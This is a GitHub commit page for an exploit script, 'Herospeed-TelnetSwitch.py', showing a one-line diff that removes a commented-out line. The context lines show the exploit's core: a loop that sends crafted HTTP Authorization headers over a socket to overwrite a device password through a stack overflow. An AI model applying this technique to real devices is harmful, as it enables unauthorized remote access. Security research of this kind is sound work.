Skip to content

Commit

Permalink
Update Herospeed-TelnetSwitch.py
Browse files Browse the repository at this point in the history
  • Loading branch information
mcw0 committed Jan 22, 2018
1 parent 3f9978a commit c57ef2a
Showing 1 changed file with 0 additions and 1 deletion.
1 change: 0 additions & 1 deletion Herospeed-TelnetSwitch.py
Original file line number Diff line number Diff line change
Expand Up @@ -164,7 +164,6 @@ def Host(self,HOST):
# Since the stack overflow writing with only one byte, we need overwrite the password one char at the time (looping twelve times)
#
for where in range(0, len(PASSWD)):
# OUT = "GET / HTTP/1.0\nAuthorization: Basic {}{}{}\n\n".format(MESSAGE,struct.pack('<L',HEAP_PWD)[:3],"\n") # Must end with '\n' to get 0x00xxyyzz
OUT = "GET / HTTP/1.0\nAuthorization: Basic {}{}\n\n".format(MESSAGE,struct.pack('<L',HEAP_PWD)[:3])
print "Writing to: {}".format(hex(HEAP_PWD))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
Expand Down

0 comments on commit c57ef2a

Please sign in to comment.